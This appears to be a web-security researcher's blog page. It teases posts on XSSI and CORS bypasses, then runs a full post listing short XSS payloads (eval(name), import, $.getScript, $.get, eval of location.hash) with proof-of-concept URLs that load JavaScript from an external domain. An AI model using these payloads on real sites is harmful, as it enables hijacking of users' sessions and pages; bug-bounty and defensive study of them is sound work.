Home

Exploiting POST-based XSSI

We know, more and more client-side attacks are dying. But sometimes, with introduction of new features, an unexploitable becomes exploitable. Yes, combined with the power of Service Worker, XSSI is no longer limited to GET requests. This essentially means we can also include resources with POST requests and CORS-safelisted headers. The idea is simple- intercept the request and modify to send no-cors POST request. For demonstration purpose, I’ve built a rough POC at https://cm2.

XSS with length restriction

There are situations where you can execute JavaScript but you’re limited to alert because it only allows limited number of characters. I recently saw a report on HackerOne with exact same situation- which is why I’m writing this post. The reporter managed to execute arbitrary JavaScript but made it somewhat complicated and required few user interactions. This drastically lessens the severity and no doubt, results in small reward. The more promising Proof of Concept in case of XSS, in my opinion, is to load external JavaScript from a domain under your control.

On-site Request Forgery

You might have heard of Server Side Request Forgery or SSRF, and probably already came across On-site request Forgery. Let’s call it OSRF for brevity and not to confuse with CSRF. This post aims to briefly explain what OSRF is and how it differs from SSRF, possible impacts and remedy. To begin with, SSRF is a type of vulnerability where an attacker is able to influence Servers to send crafted requests to their destined location.

Forging Content-Type Header With Flash

You might already know how you can forge HTTP request headers using flash. So, to keep it short, I’m talking about Content-Type only. Lately, I’ve been seeing tweets & reports about CSRF attack involving JSON data. In fact, I saw a tweet asking if it was safe to rely on Content-Type: application/json for CSRF protection. And, going through the replies, I found it was concluded safe- because browsers don’t yet support application/json in HTML form submission.

HackerOne XSSI – Stealing Multi Line Strings

I assume you already know what XSSI is. If not, here’s a brief introduction cited from Identifier based XSSI attacks Cross Site Script Inclusion (XSSI) is an attack technique (or a vulnerability) that enables attackers to steal data of certain types across origin boundaries, by including target data using SCRIPT tag in an attackerss Web page as below <!-- attacker's page loads external data with SCRIPT tag --> <SCRIPT src="http://target.

MS Edge – HTTP Access Control (CORS) Bypass

This is a short post about a vulnerability I had found in Microsoft Edge. TL;DR Edge failed to recognize HTTP Authentication information (i.e. Authorization Header) as credential information when sending fetch requests. So, if an application uses Basic or NTLM auth, Edge would send Authorization header in all fetch requests despite specifying not to include credentials. If you noticed, I explicitly specified not to include credentials. Yet, it was sent despite me specifying not to and you can see the response in console.
Referrer Policy

Referrer Policy

There are, atm, 5 different ways referrer policy can be delivered as defined by W3C. Setting referrer policy via meta is supported by all modern browsers (as shown above). The other ones, however, are new and aren’t widely supported or used. The HTML Standard defines the concept of referrerpolicy attributes which applies to several of its elements, for example: <a href="http://example.com" referrerpolicy="origin"> In general, the order in which these signals are processed are

Stealing CSVs Cross-domain

Back in 2008, Chris Evans found it was possible to steal data cross-domain in Firefox using script includes. We can still read his report at http://scary.beasts.org/security/CESA-2008-011.html In his own words: The modern web model permits remote domain <script> inclusion with no restrictions. If the remote data, which does not have to be script, has an effect on the evil domain doing the inclusion, you have a cross-domain data leak.

XSS with length restriction

December 2, 2018

There are situations where you can execute JavaScript but you’re limited to alert because it only allows limited number of characters. I recently saw a report on HackerOne with exact same situation- which is why I’m writing this post. The reporter managed to execute arbitrary JavaScript but made it somewhat complicated and required few user interactions. This drastically lessens the severity and no doubt, results in small reward.

The more promising Proof of Concept in case of XSS, in my opinion, is to load external JavaScript from a domain under your control. This post lists ways one can load external JavaScript with as few characters as possible.

Let’s assume our payload is being placed inside href attribute of an anchor tag and we are limited to 32 characters

<a href="<INJECTION>">Click</a>

1. eval

This is probably the shortest payload one can execute arbitrary JavaScript with. The name property can be assigned anything and is also inherited cross-origin. This gives us an advantage and let us execute our payload without any limitation unless the page rewrites its name property itself.

POC

https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a+href="javascript:eval(name)">Click</a>','_self')</script>

Payload length

'javascript:eval(name)'.length == 21

2. import

This is another shortest payload to fetch external JavaScript but only works on Chromium based browsers.

POC

https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>

Payload length

'javascript:import(/\㎠.㎺/)'.length == 24

3. $.getScript

This is a very famous jQuery function to load external JavaScript. The script is fetched and executed in the global context, just as if loaded with a script tag. This, however, requires jQuery already loaded in the vulnerable page.

POC

https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>

Payload length

'javascript:$.getScript(/\㎠.㎺/)'.length == 29

4. $.get

This is another jQuery function which can load and execute external JavaScript if the returned Content-type is set to text/javascript. This is actually a vulnerability which only works before jQuery 3.0.0

POC

https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>

Payload length

'javascript:$.get(/\㎠.㎺/)'.length == 23

5. Use of existing elements and/or properties

It’s not uncommon to find HTML elements and JavaScript properties whose contents are partially or fully controlled by user. Though this requires a little inspection, it could be of tremendous help when exploiting length restricted XSS. For example, most ajax driven applications store hash identifier for easier navigation and what not.

If a page stores hash like

const hash = document.location.hash;

We could use it to load external script like

eval("'"+hash)

POC

https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)

Payload length

`javascript:eval("'"+hash)`.length == 25

There are various other ways one could load external JavaScript aside from above known techniques. These are other few which I don’t have examples of

  • Other libraries
  • Uses of various selectors
  • Use of DOM properties, mutation (image id, for example)

Firefox, in some cases, navigates when clicked on JavaScript URI. To prevent navigation, we need to introduce an error. Thus, a workaround would be to add something like ;q at the end of each payload like

javascript:eval(name);q
// halts navigation because q is not defined

Lastly, it’s worth noting that it’s also possible to use URL encoding in context of JavaScript URL like

<a href="javascript:x='%27,alert(1)//">Click</a>
// Thanks @garethheyes

POC

https://cm2.pw/?xss=<a href="javascript:x='%2527,alert(1)//">Click</a>

Update

There’s now a collection of impossible labs, created by PortSwigger which also involves XSS with length restrictions https://portswigger.net/research/documenting-the-impossible-unexploitable-xss-labs